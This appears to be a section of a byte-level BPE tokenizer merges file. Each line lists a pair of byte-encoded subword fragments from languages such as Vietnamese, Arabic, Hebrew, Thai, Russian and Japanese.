+ĠÑĥ д +İ L +×ķצ ×Ļ×Ŀ +×ĸ ×ŀף +à¸Ľ à¸ģ +íķĻ êµIJ +س اÙħ +à¹Ħ à¸Ķ +ละ à¹Ģà¸Ń +ละà¹Ģà¸Ń ีย +ละà¹Ģà¸Ńีย à¸Ķ +ả y +аÑĨи он +ãĤ¹ ãĤ¯ +פ ×ķס +ร à¹Īาà¸ĩ +ен нÑĭй +ع ÙĨ +عÙĦ ÙĨ +ائ Ùģ +d ÄĻ +ؤ ÙĪÙĦ +׾×ķ ×ķ +Ġ×ij ש×ij +ä»Ĭ åĽŀ +ĠاÙĦج ÙĨ +د اد +wa Äĩ +ãĥª ãĥ³ +ĠìŀIJ ìĭł +اÙĨ ÙĬا +ãĥ¡ ãĥª +ÙĦ ÙĪÙĨ +à¸Ĺ à¹Īà¸Ńà¸ĩ +à¸Ĺà¹Īà¸Ńà¸ĩ à¹Ģà¸Ĺีà¹Īยว +اÙģ ÙĬ +Ġли ÑĪ +Ùħ ÙĬØ© +оÑĤ веÑĤ +Ñĩ ин +à Ĭ +ãĥ¡ ãĥ³ +å® Ł +éļĽ ãģ« +ĠÑĢаР¹ +ãĤ¦ ãĥ³ +×Ļר ×ķש +×Ļר×ķש ׾×Ļ×Ŀ +ม ะ +Ġar a +каз аÑĤÑĮ +à¸ķ ัà¸Ķ +ÑĥÑİ ÑĤ +Ġü st +×Ĵ ×ķ×ij +×Ĵ×ķ×ij ×ķת +mal ı +ег од +егод нÑı +اÙģ ÙĤ +à¸Ĭ à¹Īà¸Ńà¸ĩ +Ġö zellik +×Ļצ ×ķר +Ġmi ÄĻd +Ġili ÅŁ +Ġна Ñħод +×¢ ×ĸר +׾ ×Ľ×ª +ÙĨت اج +ĠÑģ ем +à¸Ī à¹Īาย +à¸ķร ว +à¸ķรว à¸Ī +פר ×ķ +à¸Ĥ ัà¸ļ +ãģ ŀ +Ġп ло +к олÑĮ +×ŀ×¢ ×ĺ +íķĺ ìĭľ +jÄħ ce +ÙĨ اÙĨ +ลี à¸ģ +н ÑĥÑĤ +Ġоб ÑĢаз +Ùĥ بر +ĠاÙĦÙĪ Ø·ÙĨ +ãģķãģĽ ãģ¦ +ÙĤ اء +×ŀ×ĵ ×Ļ׳ +y ü +פ ×Ļת +׳ ×ķף +ÙħÙĨ ظ +หà¸Ļ ัà¸ģ +ìŀ Ī +ãĤ« ãĥ¼ãĥī +ع ÙĨÙĬ +п од +ض اء +à¸Ļ à¸ķà¹Į +×ŀש פ +ว à¹Į +ר ×ķ×§ +ส ืà¹Īà¸Ń +פק ×Ļ×ĵ +ãģªãĤī ãģªãģĦ +ĠìŬ 룬 +ÙĦ ج +Ñī иÑĤ +ãĥĥ ãĤ· +ÙĦÙĬ س +ĠÙĦ Ùħا +ìł ij +×ij ×Ļף +ãĥģ ãĤ§ +Ġgü ç +Ġch ứ +×ķצ ×IJ +קר ×ij +à¹Ĥ à¸ŀ +оÑĩ но +סק ×Ļ +ש׾ ×Ŀ +صر Ùģ +ĠL Ãł +×¢ ×Ļת +á» · +à¹Ĥ à¸Ńà¸ģ +à¹Ĥà¸Ńà¸ģ า +à¹Ĥà¸Ńà¸ģา ส +Ġ×Ķ ×ĵ×ijר +à¸Ļั à¹Īà¸Ļ +ز ر +нак о +íļ į +ãĤĤ ãģ¡ +ãĤĤãģ¡ ãĤį +ãĤĤãģ¡ãĤį ãĤĵ +اÙħ ت +عد اد +и нÑĭ +ÅĤy w +à¸Ħ à¸ĵะ +à¸Ĺ ะ +kt ör +×Ļ×Ĺ ×Ķ +Ġм е +Ġме ÑģÑı +׳×Ķ ×Ĵ +ĠÑģ ÑĥÑīеÑģÑĤв +à¸Ļ ัà¸Ļ +ÑĦ ÑĦ +ек ÑĤив +عÙĦÙĪÙħ ات +б Ñĥд +à¸Ļัà¸ģ à¸ĩาà¸Ļ +หà¸Ļà¹īา à¸Ĺีà¹Ī +ÙĤÙĬ ÙĤ +ãĤ· ãĥ³ +ãģ« éĸ¢ +×IJר ×Ĵ +ĠпÑĢ Ð¾ÑĤ +ĠпÑĢоÑĤ ив +ĠìŀĪ ìĸ´ +ÙĤÙĬ ÙĤØ© +ìĹ ĩ +k ür +ãģ«ãģªãĤĬ ãģ¾ãģĹãģŁ +Ġде ÑıÑĤ +ĠдеÑıÑĤ елÑĮ +פ×ķר ×ĺ +à¸Ł à¹īา +à¹Ģ à¸ł +ĠавÑĤом аÑĤ +×ĸ ×Ļ×§ +Ġold uk +ع اÙħ +ĠÑĤ оÑĢ +yrı ca +ê Ì +ãĤŃ ãĥ³ãĤ° +ãģ« ãģ¨ãģ£ãģ¦ +à¹Ģà¸ī à¸ŀ +à¹Ģà¸īà¸ŀ าะ +ãģ¯ ãģļ +×ŀ ×IJ×Ļ +สะ à¸Ķ +สะà¸Ķ วà¸ģ +ìľ¼ ë©° +à¸ģ ี +ภ¬ +Ġ×¢ ×ķש +à¸łà¸² ษา +à¸Ĺ ัà¸Ļ +ac akt +acakt ır +اع دة +ĠÑĥÑģл Ñĥг +ס ר×ĺ +×ķ×ŀ ×ķת +×Ķ ×ķר +×ŀ ×ķ×ij +×ŀ×ķ×ij ף +سÙĬ اس +اتÙģ Ø§ÙĤ +×Ķ ×¦×ľ +Ùħؤ س +Ġp ó +Ġк ни +×Ļ׼ ×ķ׾ +à¹Ģหล ืà¸Ń +׼׾ ׼ +׳ ×ĸ +ÑĪи е +r ès +ĠاÙĦØŃ ÙĤ +лÑı ÑĢ +ห à¸į +หà¸į ิà¸ĩ +ר×Ĵ ×Ļש +à¹Ģส à¹īà¸Ļ +ש×ij ×ķף +ô tel +ап ÑĢ +апÑĢ Ð¸Ð¼ÐµÑĢ +اب ÙĦ +ĠÑĢаз виÑĤ +Ġп олÑĮз +ĠС еÑĢ +×ķ×ij ×Ļ +r óż +ìĭ Ń +ãĤ¯ ãĥĪ +ãģĹ ãĤĪãģĨ +à¸ģร ม +ØŃ ÙĥÙĪÙħ +à¹Ĥ à¸ļ +à¸Ĺ à¹īาย +ĠM á +ĠÑĤ Ñĭ +à¸Ħร ัว +ÑĢÑĥ б +ạ p +Ġm ÅĤ +ĠmÅĤ od +Ġgör Ã¼ÅŁ +Ġgeli ÅŁ +ươ i +×ŀש ×§ +ÙĢÙĢ ÙĢÙĢ +รา ว +ãģĹãģ £ +ãģĹãģ£ ãģĭãĤĬ +ĠÐļ он +Ġk ê +à¹Ĥà¸Ĺ ร +èIJ½ ãģ¡ +åĩº ãģ¦ +ล ัà¸ģษ +Ġ×Ĵ ×ij×ķ×Ķ +ãĥĻ ãĥ« +ê±° ëĤĺ +ë§ IJ +×Ļ׾ ×ĵ×Ļ×Ŀ +ĠëĦ Ī +×ŀר ×Ļ +ร ส +ãĥŃ ãĥ³ +и ло +ноÑģÑĤÑĮ Ñİ +×ĸר ×Ĺ +п он +Ġ×Ķש ׾ +ê²ł ìĬµëĭĪëĭ¤ +Ġki ÅŁ +ĠÐļ и +ว ร +د اع +ÅŁ im +ÙĨ Ùij +в аÑĤ +را Ùĥ +ب اÙĦ +ид е +Ġ×Ķ×ŀ ×Ĺ +ìĸ µ +تÙģ Ø§Ø¹ +Ø£ ت +ëĬ ĺ +ש ×Ļת +ست Ùħر +ĠÑĦ ак +ĠاÙĦØ£Ùħ رÙĬ +ëŀ ¨ +اس Ùħ +Ġa ÄŁ +Ġç ev +Ùĥ ÙĪØ± +ãģķ ãģ¾ +Ġç öz +Ġر س +Äħ da +สà¸Ļ ุ +ãģĹãģ¦ ãģıãĤĮ +н Ñİ +leÅŁ me +ãĤª ãĥ³ +ãģ¨ ãģªãĤĬ +ava ÅŁ +×ĺ ×Ļ×ij +ØŃ ض +×ķצ ×IJ×ķת +ÙĨ ÙħÙĪ +ı t +ĠÑħ а +ĠÑħа ÑĢак +ĠÑħаÑĢак ÑĤеÑĢ +Ġd ÅĤ +ãĥĹ ãĥ© +à¸Ĭ ุม +à¹Ī à¸Ńà¸Ļ +×ķ×ij ׾ +Ñģ ол +×ĵ ×Ĵ +аÑĢ Ð°ÑĤ +n ivers +Ġgerçek leÅŁtir +ĠاÙĦ ÙĦÙĬ +ระ ยะ +ĠÙħ ختÙĦÙģ +Ġgö nder +Ùģ Ø§Ø± +do ÄŁ +doÄŁ an +ص ÙĦاØŃ +Ġyay ın +ãĥĨ ãĥ³ +รว à¸Ī +×Ļ×Ĺ ×Ļ×ĵ +ünk ü +ÑĨи алÑĮн +à¸ļ ู +ม ุ +h ä +Ø® Ùģ +å¢ Ĺ +å¢Ĺ ãģĪ +еÑĩ но +ĠاÙĦس ÙĨ +à¸Ĥ าว +im di +Ð « +à¸Ļà¸Ńà¸ģ à¸Īาà¸ģ +à¸ļา ล +ת ש +Ġdüzen le +мÑĭ Ñģл +ãģı ãģª +ż u +Ġwsp óÅĤ +Ġн аз +ınd aki +تر Ø© +ÅŁ ek +Ġö d +ĠÙĪ Ùĥ +Ġпозв олÑı +Ġת ×ķ׼ +ÙħÙĨ تج +ë§ ī +ĠاÙĦØ« ÙĦاث +аÑĨи Ñİ +ÙĪØ± ÙĪ +Ñĭв аеÑĤ +خص ص +ĠاÙĦÙģ ÙĦ +ĠاÙĦÙģÙĦ سطÙĬÙĨ +Ø¥ جر +إجر اء +اÙĨت Ø® +اÙĨتخ اب +ار ÙĬØ© +×ķ Ö +Ø¢ ÙĨ +×ŀ×¢ ×ķת +Ġм ал +Ġ×IJ ×Ĺ +à¸Ĺ à¹īà¸Ńà¸ĩ +ze ÅĽ +Ġë§Į ëĵ¤ +رÙĬ ع +äºĭ ãĤĴ +à¸ļริ หาร +׾ ×ŀ×Ļ×ĵ +Ġм Ñĥж +ت رÙĪ +ĠباÙĦ Ø¥ +פ ×Ļ×§ +ز ÙħØ© +ĠÃ¶ÄŁ renc +ãĥ ¶ +اÙħ عة +×§×ij ×ķצ +×ŀ ׳×ķת +رÙĬ Ùħ +Ġо каз +ãģłãģij ãģ© +Ġh ız +Ġש ×IJת +ãĤ¢ ãĥ¼ +Ġmożli wo +ìĦ ¼ +ÙĪ Ø§Ø¨ +ог ÑĢаÑĦ +Ġعبد اÙĦ +ãĤĴ è¡Į +ب ÙĬÙĦ +Ġİ ç +ย าย +ĠÑĥ ÑĩаÑģÑĤ +ÑĦ еÑģÑģ +ÑĦеÑģÑģ иона +Ạ¤ +ÙĨ ÙĬÙĨ +عد ÙĦ +สร ร +دÙĬ ÙĦ +×ij ×Ļ×§ +czy ÅĤ +ÑĢом е +Ġм ед +ìĻ Ķ +ãĥ© ãĤ¤ãĥ³ +ĠÑĤ еп +еÑĢ ÑĮ +i ÄŁi +в ели +ÑĢи ÑģÑĤ +ס ×ķפ +×ŀ׾ ×Ĺ +ĠاÙĦØ¥ ÙĨ +Ġ׾×Ķ ×© +è¶Ĭ ãģĹ +ĠÑĢ Ñĭ +×ķ×IJ ר +رÙĩ اب +פ ×ķ×IJ×Ļ +ĠгоÑģ Ñĥд +ĠгоÑģÑĥд аÑĢ +ĠгоÑģÑĥдаÑĢ ÑģÑĤв +ĠاÙĦØ£Ùħ ÙĬر +Ùħ ج +à¹Ģหม าะ +ÑĢ ÐµÐ² +à¸Ĭี à¸ŀ +ãĥķ ãĥĪ +иÑĩ но +ĠاÙĦÙħ ؤ +Ġi ht +íħ ľ +د ÙĨÙĬ +ر ص +ла ÑģÑĤ +à¹Ģหล à¹Īา +ılı r +ร à¸ĵà¹Į +×ŀש ×Ļ×ļ +Ġd á»ĭ +Ø·Ùģ Ø§ÙĦ +×ĺ ×ķף +Ġ×ij ×Ļ׳ +ãģ¾ ãģ£ãģŁ +лож ениÑı +تØŃ ر +ب اØŃ +à¹Ģส ืà¹īà¸Ń +ãģĻ ãģĶ +lt ür +à¸ĩ าม +Ġt ü +ĠпÑĢ Ð¸Ð¼ +ĠпÑĢим ен +Ġhay at +ëĥ IJ +ëĭ Į +׳×Ļ ×ķ +вед ен +ìħ ¨ +à¸Ī ัย +à¸ģà¹Ī à¸Ń +Ġв од +оÑģÑĤ оÑı +н аÑĤ +à¹ģ หล +سÙħ ÙĬ +à¸Ķำ à¹Ģà¸Ļ +à¸Ķำà¹Ģà¸Ļ ิà¸Ļ +w ód +ö yle +ãĥĢ ãĤ¤ +ÑĪи й +меÑī ен +ãģĹãģ¾ ãģĨ +ãĥī ãĥ© +ÙĪØ¶ ØŃ +à¸Ńà¸Ļ ุ +ĠاÙĦ اجتÙħاع +laÅŁ ma +à¸Ħ à¸Ńà¸Ļ +×ŀר ×Ļ×Ŀ +ÙĨ اÙħج +שר ×ķת +اÙĦ Ø£ +Ġksi Äħż +Ġа н +ÑĢаР¹ +اÙĩر Ø© +×ŀ×ĵ ×Ķ +ä¸Ģ ç· +ä¸Ģç· Ĵ +ä¸Ģç·Ĵ ãģ« +ÑĢиÑĤ оÑĢ +d ıkl +à¹ģ à¸ĸ +à¹ģà¸Ĥ à¹Īà¸ĩ +екÑĤ оÑĢ +×ŀס ×¢ +ÑĢак ÑĤи +u ÄŁu +×ķ×ij ת +สู à¸ķร +ĠçalÄ±ÅŁ m +ĠçalÄ±ÅŁm alar +Ġа на +ãĥĽ ãĥ¼ãĥł +Ġböl üm +Ġب ص +ол оÑģ +ĠìķĬ ëĬĶ +à¹Ī ะ +ÙĪ ØªØ± +ä¹ Ĺ +ست خداÙħ +פ×Ļ ×Ļס +פ×Ļ×Ļס ×ij +פ×Ļ×Ļס×ij ×ķ×§ +Ġк ÑĢаÑģ +ли к +رÙĬ ØŃ +×ŀש ׾×Ķ +à¹Ģย ีà¹Īย +à¹Ģยีà¹Īย ม +в иÑģ +ом н +ÄŁ un +ãĥŃ ãĥ¼ãĥ³ +Ø£ تÙĬ +à¸ķร ี +çͳ ãģĹ +تÙħ ر +ìĹ ĪìĬµëĭĪëĭ¤ +ĠÙĪ ØºÙĬر +red ni +ĠاÙĦص Ùģ +Ġна ÑģÑĤоÑı +ĠнаÑģÑĤоÑı Ñī +à¸ķ รา +ĠÑĥÑģл ов +ĠÑĥÑģлов иÑı +ÑĨ еп +×Ķ ×Ĺ׾×ĺ +Ø· ÙĬع +ĠB akan +ĠاÙĦ رÙĪ +илÑĮ но +Ġм еÑĤ +à¸Ķ à¸Ńà¸ģ +ãģĭãĤī ãģªãģĦ +Ġпо ÑģÑĤоÑı +ĠпоÑģÑĤоÑı н +ĠÑĩ аÑģ +ü c +wr ó +б ÑĥÑĢ +ãĥIJ ãĥĥãĤ¯ +ãĥ©ãĥ³ ãĥī +Ġо гÑĢ +สั à¸į +สัà¸į à¸įา +มั à¹Īà¸Ļ +à¸Ħ à¸Ńม +al ık +Ġн ед +üm üz +ĠÅĽ wie +é rio +×Ļ×IJ ×Ķ +دÙħ ات +ı rl +ĠоÑĤ з +ĠоÑĤз Ñĭв +ä»ĺ ãģį +Ġkaż de +мин иÑģÑĤ +ãĤ° ãĥ« +ë° ĸ +ез н +اÙĦ Ùģ +Ġש ק׾ +Ùħ ض +ãĥĿ ãĥ¼ãĥĪ +ÙħÙĨ ت +ÙĤÙĬ اÙħ +Ø´ ÙĨ +×Ļר ×ķ×¢ +ãĤŃãĥ£ ãĥ³ +доÑĢ Ð¾Ð² +×ŀ ×Ļת×Ļ +ÙĪÙĦ ÙĪØ¬ +Ùĥ اÙģ +ĠÑĢаз лиÑĩ +иÑĤ еÑĤ +н олог +ลà¸ĩ à¸Ĺุà¸Ļ +Ġyak laÅŁ +ãĥ¬ ãĤ¤ +ê²ł ëĭ¤ +æ±Ĥ ãĤģ +رÙĪ Ùģ +Ġí Ĭ +ĠíĬ ¹ +ãģ£ ãģıãĤĬ +à¸Ħวาม à¸Ħิà¸Ķ +×Ķ ×Ļס×ĺ +Ø¥ ÙĤ +ãģ¦ ãģĦ +à¹Ĥ à¸Ĭ +ĠBü yük +ĠФ едеÑĢ +ÑĨи н +ÑĢов а +ĠاÙĦ اÙĤتصاد +Ġch á +à¸ĺ าà¸Ļ +ë¥ ł +à¹Ħ à¸ķ +ÃŃ pio +Ùĭ ا +Ġоб Ñıз +Ùĩ ج +Ġì¤ij ìļĶ +ãģ® ãģ§ãģ¯ãģªãģĦ +بار اة +ãĤ¤ ãĥ« +Ġн оÑĢм +á»ī nh +m ö +mö glich +ÑĨи п +ãĤ¢ ãĤ¯ +×Ķ ×Ļ +ÑĨи алÑĮно +ĠÅĽ wi +ت ÙĤ +ĠÑģÑĤо им +بÙĬ عÙĬ +Ġ׾ ש×ŀ +г лÑı +глÑı д +ãģ¦ ãģıãĤĮ +ÄĻd zi +à¸Ĥ ั +à¸Ĥั à¹īà¸Ļ +Ø· ÙĤ +ĠìĹ Ń +ãģ£ãģ¦ãģĹãģ¾ ãģĨ +ĠdeÄŁer l +ĠdeÄŁerl endir +Ġü lk +Ġмн ог +๠ĭ +ë¿ IJ +ĠУ кÑĢа +ÄŁ ini +Ġбез оп +Ġбезоп аÑģ +à¸Ńà¸Ńà¸ģ à¹ģà¸ļà¸ļ +Ø§Ø ¸ +ØŃد اث +л еÑĢ +×Ļ× ¥ +×Ļ׳×ĺר ׳×ĺ +lar ınız +ØŃÙĬ ØŃ +ż eli +à¸Ń ัà¸ĩ +à¸Ńัà¸ĩ à¸ģ +à¸Ńัà¸ĩà¸ģ ฤษ +ĠоÑĤ лиÑĩ +ั ส +ëŀ į +ож но +ãĤ¹ ãĥĿ +ĠÑħ оÑĩ +Ġк ап +еÑĩ ен +ØŃÙĦ Ø© +ÙĬا Ùĩ +на л +×ķצ ר×Ļ×Ŀ +Ġk ald +åĥ į +ĠاÙĦØ´ خص +Ġз на +Ġwz gl +ż ycz +ê° Ŀ +à¸ŀ ลัà¸ĩ +íģ ¼ +Ġö l +Ġb ụ +Ø´ Ùĩر +Ġз ам +Ġд ев +×Ļ×ĺ ת +تعÙĦ ÙĤ +ÙĪÙħ Ø© +ãĤĴ ä½ľ +ãģį ãģ¦ +í ĥĿ +ras ında +ãĤĴ æİ¢ +ĠÙħ باشر +راج ع +Ġв озд +ÙħØŃ ا +×ķש ר +ĠиÑģÑĤ оÑĢ +ม ัà¸ģ +t ıģ +Ø« ار +تر ÙĨت +à¹ģà¸Ĥ à¹ĩ +à¹ģà¸Ĥà¹ĩ à¸ĩ +п оÑĩ +Ġ×ij ×IJ×ķת +ë¯ Ģ +ëĿ¼ ëıĦ +à¸Ĭ ัà¸Ķ +ส à¸ķà¹Į +ãĥĭ ãĥĥãĤ¯ +ид енÑĤ +Ġг ÑĢÑĥпп +ت Ø® +Ạł +ย ืà¸Ļ +ย ัà¸Ļ +ó ry +T Ãľ +ãģĹ ãĤĥ +ĠпÑĢов ед +лÑı еÑĤ +Ùħ Ø® +ย à¸Ńม +×Ľ×ł×¡ ת +ĠاÙĦÙħ ÙĨت +Ġol mad +ר׼ ×ĸ×Ļ +Ġв ÑģÑĤÑĢ +ĠиÑģ Ñģлед +ÑĤвеÑĢ Ð¶ +بد ÙĪ +еÑĢ ÑĤ +ï» · +± ħ +สัม à¸ŀัà¸Ļà¸ĺà¹Į +ิ à¹Īà¸Ļ +צ ×Ļ×ij +wiÄĻ t +Ġì° ¸ +Ġz wiÄħz +سب ÙĪØ¹ +ãĥĥ ãĤ° +à¸Ľà¸¥ à¸Ńà¸Ķ +à¸Ľà¸¥à¸Ńà¸Ķ à¸łà¸±à¸¢ +ãĤĤ ãĤĬ +ÙĤد س +Ġspr z +Ġsprz eda +Ġist edi +Ġk hu +Ġд ен +Ġko ÅĦ +Ġ×ij ×Ĺ×Ļ +à¹Ģà¸Ĺ à¹īา +×ķס ×Ļ×£ +ãĥĭ ãĥ¥ãĥ¼ +ĠпÑĢед оÑģÑĤ +ĠпÑĢедоÑģÑĤ ав +à¹Ĥ à¸Ł +é v +ĠاÙĦص ØŃ +صØŃ اب +à¹Ģà¸Ī à¹ĩà¸ļ +вл ек +วั à¸ķ +à¸ĸ ุ +ãģĵãģ¨ãģĮãģ§ãģį ãģ¾ãģĻ +ÙĤÙĬ ÙĤÙĬ +×ķ׊ר +Ñĭ ÑĪ +ĠоÑĤ но +ĠоÑĤно ÑĪ +об илÑĮ +Ùģ ØŃ +ı nt +ınt ı +Ġ׾ ×ij×ĵ +í İĺìĿ´ì§Ģ +ãĥĬ ãĥ« +ĠÙħ ساء +×Ļ×ĺ ×ij +ÑĮ еÑĢ +ëĦ · +Ñĭ ÑĤа +ĠоÑĩ еÑĢ +à¸Ķ ืà¹Ī +à¸Ķืà¹Ī ม +ĠN gh +ت عب +ÙĦاÙĤ ات +×ķ׾×ķ×Ĵ ×Ļ×Ķ +ĠìĿ´ ê²ĥ +Ġ×Ķ ×ijר +ìľ µ +à¹Ģà¸Ħล ืà¹Īà¸Ńà¸Ļ +Ùĩ Ø© +à¸Īำ à¹Ģà¸Ľà¹ĩà¸Ļ +å¤ī ãģĪ +wi ÅĽcie +ch od +chod zÄħ +в ÑĢо +×ŀ×Ĺ ×Ļר +Ġy ı +Ġyı ll +ì¡ Į +à¹Ħ หว +ãģªãģı ãģª +Ġзав иÑģ +ĠìĺĪ ìĪĺ +Ùģ Ø° +á»§ ng +à¸ŀุ à¸Ĺà¸ĺ +з н +lay an +ãĤ ¡ +à¸ģà¹ĩ à¸ķาม +ĠsaÄŁ lam +ร à¸ĵ +ĠÑģ иÑĤ +ĠÑģиÑĤ Ñĥ +ĠاÙĦت ÙĨ +×Ķ ×ĸ +ĠØ· ÙĪÙĬÙĦ +ta ÅĤ +Ġgö rd +å¤ī ãĤı +ëĥ ¥ +à¸Ħà¹Ī à¸Ńย +×IJ ×ķ×ĺ +ëħ IJ +ãĥ©ãĥ³ ãĤ¹ +วั à¸Ĵ +วัà¸Ĵ à¸Ļ +Ġol uÅŁ +פע ×ķ׾ +Ġszczeg óÅĤ +à¸Ħา สิ +à¸Ħาสิ à¹Ĥà¸Ļ +pow ied +ĠÑĤ еб +หà¸Ļ à¹Īวย +Ġм ил +ØŃ Ùĥ +à¸Ĺ à¸Ķ +ĠмаÑĤ еÑĢиал +ÅĤ ow +à¹Ģà¸ģ ีย +ĠÑģов еÑĢ +ãĤ © +à¸Ľ ริ +Ġи Ñİ +наÑĩ ен +ÑĢен д +mu ÅŁtur +ĠпÑĢод Ñĥк +з д +Ñı ÑĤи +ÑıÑĤи Ñı +à¹Ģม ีย +رات ÙĬج +Ġam acı +ש ×ķ׾ +ש×ķ׾ ×Ĺ +สะ à¸Ńา +สะà¸Ńา à¸Ķ +פ×Ĵ ×¢ +عب Ø© +d ın +íħ Ķ +Ġ×ŀש ×Ĺ×§ +Ġfi yat +Ġз аÑı +ĠзаÑı в +à¹Ĥ หล +à¹Ĥหล à¸Ķ +à¸ģรุà¸ĩ à¹Ģà¸Ĺà¸ŀ +צ×Ļ ×Ļף +ìļ ± +Ùħ ب +Ùħب اد +land ır +Ġв еÑģÑĮ +Ġh ük +ĠÐĴ оз +ÑĩиÑĤ Ñĭва +ว ล +×ķצ ×¢ +à¸Ĥà¸ĵะ à¸Ĺีà¹Ī +ĠaÅŁ aģı +׾×IJ ×ķ×ŀ×Ļ +tr zym +Ã¤ÃŁ ig +owo ÅĽci +ãģĿ ãĤĤ +Ġroz wiÄħz +ĠgÅĤ ówn +м онÑĤ +×ŀ ×ķ×ŀ +ĠÑģÑĤ ан +ÙĦا ÙĤØ© +p rowad +prowad zi +ĠÑģоÑģÑĤ оÑı +×Ļ×IJ ×ķת +r ı +g ı +ãĥij ãĥij +Ġна лиÑĩ +×Ķ ×¦×¢ +Ġ׳ ×Ķ +à¸Ħ ัà¸ļ +ع راض +и ж +Ùĩ ائÙĬ +ãĤī ãģı +ож еÑĤ +Ġоб оÑĢ +ĠобоÑĢ Ñĥд +Ø£ سÙĦ +à¹ĩ à¸Ķ +ÑĢÑĥ ÑĤ +دÙĬ ÙħÙĤ +دÙĬÙħÙĤ را +Ġjest e +×ķ×ķ ×Ļר +×ij×ĵ ×Ļ×§ +деÑĢж ива +ãģĬ ãģı +ewn ÄĻtr +ewnÄĻtr zn +à¸ŀ ฤ +Ġ×IJ ×ķ×Ķ +ת×Ĺ ×ķש +Ġz ob +д Ñĥм +ĠÑģ Ñĭ +ÙĬر ا +ĠwiÄĻ ks +à¹ģà¸ķà¸ģ à¸ķà¹Īาà¸ĩ +lar aras +lararas ı +íĺ Ģ +ëī ´ +×ķ×Ĵ ׾ +ĠоÑĤ меÑĤ +ĠÑĢ Ð°Ð½ +ت ÙĥÙĦ +иÑĤелÑĮ н +à¸Ľà¸£à¸° วั +à¸Ľà¸£à¸°à¸§à¸± à¸ķิ +ìŀ ĸ +мож но +pie czeÅĦ +pieczeÅĦ st +ëª » +ìĬ ¨ +×ŀס ×ŀ +á» ¦ +ศ ิ +ศิ ล +ศิล à¸Ľ +ĠÅļ w +ãĥĥ ãĤ·ãĥ§ãĥ³ +unit Ãł +Ġmiesz ka +Ġmieszka ÅĦ +pr zed +przed si +przedsi ÄĻb +przedsiÄĻb ior +à¸Ľà¸£à¸° สิà¸Ĺà¸ĺิ +à¸Ľà¸£à¸°à¸ªà¸´à¸Ĺà¸ĺิ à¸łà¸²à¸ŀ +ย à¹Ī +ìķ Ļ +รว à¸Ķ +รวà¸Ķ à¹Ģรà¹ĩว +å½ĵ ãģŁãĤĬ +äl le +Ñĥ еÑĤÑģÑı +ã n +ëł µ +th è +ãĤĴ åĪ©ç͍ +ì µľ +íĵ ¨ +à¸Ĺ ัà¸ļ +า à¸Ħม +ãģ ĩ +ëĤ Į +à¹Ģà¸Ľà¸¥ à¹Īา +â ¦ +ë ¾ +ê Ģ +ê ĩ +â ¡ +ðŁ Ł +ã IJ +â º +á Ń +á Ļ +á ĵ +á ² +ðĵ ı +á ¬ +â ¯ +ä ¨ +ê Ŀ +ê « +ð ij +ðĵ ĥ +ðĿ ħ +< unk + + + +Ġع ÙĦÙī +Ġm á»Ļt +Ġv Ỽi +Ġng ưá»Ŀi +ĠØ¥ ÙĦÙī +Ġnh ững +Ġth á»ĥ +Ġ×IJ ×ķ +Ġ×¢ ×Ŀ +ا Ùĭ +Ġ à¹ģละ +ĠÙĦ ا +Ġnh ư +ĠاÙĦت ÙĬ +Ġ×Ķ ×ķ×IJ +ĠÄij ến +ĠØ£ ÙĪ +Ġv á»ģ +ĠlÃł m +Ġs ẽ +Ġc Å©ng +Ġ ợ +ĠÄij ó +Ġnhi á»ģu +Ġt ại +Ġtr ên +Ġ×Ĵ ×Ŀ +Ġnh Ãł +Ġ׼ ×Ļ +Ġs á»± +ĠÄij ầu +Ġb á»ĭ +ĠÙĩ ذا +Ġnh ất +Ġph ải +Ġhi á»ĩn +Ġdụ ng +ĠÄij á»Ļng +ĠاÙĦÙĦ Ùĩ +ĠØ Į +ĠÙĥ ÙĦ +Ġvi á»ĩc +Ġn Äĥm +Ġth ì +Ġh á»įc +ĠÙĪ Øª +t é +Ġا ÙĨ +Ġt ôi +Ġ×IJ ׳×Ļ +Ġ׾ ×Ļ +Ġ×ŀ ×ķ +Ġng Ãły +Ġn Æ°á»Ľc +Ġ×Ķ ×Ļ×IJ +Ġ×IJ ×Ļ +Ġh Æ¡n +ĠÙĩ ذÙĩ +ĠÙĪ ÙĬ +ĠاÙĦ ذÙĬ +Ġ×ķ ×ŀ +Ġgi á +Ġnh ân +Ġch ÃŃnh +Ġm ình +ĠÐĿ а +Ġth ế +Ġ×Ļ ×ķתר +Ġ×IJ ×Ŀ +Ġn ên +Ġh ợ +Ġhợ p +Ġc òn +ĠÙĩ ÙĪ +Ġc Æ¡ +Ġr ất +ĠVi á»ĩt +Ġب عد +Ġש ×Ļ +Ġth á»Ŀi +Ġc ách +ĠÄij á»ĵng +Ġн о +Ġtr ưá»Ŀng +Ø Ł +ĠÄij á»ĭnh +ĠÄiji á»ģu +×Ļ ×Ļ×Ŀ +Ġth á»±c +n ın +Ġh ình +Ġn ói +Ġc ùng +Ġ×Ķ ×Ķ +ĠØ¥ ÙĨ +Ġ×IJ ×ij׾ +Ġnh ưng +Ġbi ết +Ġж е +Ġch úng +ĠÄij ang +Ġذ ÙĦÙĥ +Ġl ên +Ġkh ách +Ġn Ãło +Ġs á»Ń +Ġkh ác +Ġë° ı +Ġl ý +×Ļ ×Ļ +ĠÄij ây +Ġ׾ ×ŀ +Ġc ần +Ġtr ình +Ġph át +ãģ« ãĤĤ +п о +Ġn Äĥng +Ġb á»Ļ +Ġv ụ +ĠÄij á»Ļ +Ñĩ е +Ġnh áºŃn +Ġtr Æ°á»Ľc +Ġ×¢ ×ĵ +Ġh Ãłnh +ĠØ® ÙĦاÙĦ +Ġl ượng +Ġc ấp +Ġtá» ± +Ġv ì +Ġt ư +Ġch ất +Ġ׼ ×ŀ×ķ +Ġg ì +Ġש ׳ +Ġt ế +ת ×ķ +Ġnghi á»ĩp +Ġm ặt +ĠÙĥ Ùħا +Ġ×ij ×Ļף +Ġר ×§ +Ġth ấy +Ġmá y +ĠÙģ Ùī +Ġd ân +Ġ×IJ ×Ĺ×ĵ +Ġt âm +Ġ׼ ×ļ +Ġ׾ ×ķ +в о +Ġt ác +Ġto Ãłn +ĠÙĪ Ùħ +Ġk ết +Ġ หรืà¸Ń +ĠÙĪØ§ÙĦ Ùħ +ĠÄiji á»ĥm +Ġ×ĸ ×ķ +Ġ×ij ×ķ +׼ ×ķת +Ġh á»Ļi +Ġb ằng +ت Ùĩا +Ġ׼ ×ĵ×Ļ +Ġ×Ķ ×Ŀ +Ġxu ất +ĠÙĤ د +Ġb ảo +Ġt á»ijt +Ġt ình +ĠÙĩ ÙĬ +ĠÄij á»iji +Ġthi ết +Ġhi á»ĩu +Ġti ếp +Ġt ạo +ת ×Ķ +Ġch á»§ +o ÅĽÄĩ +Ġgi ú +Ġgiú p +Ġà ½ +Ġqu ả +Ġlo ại +Ġc ô 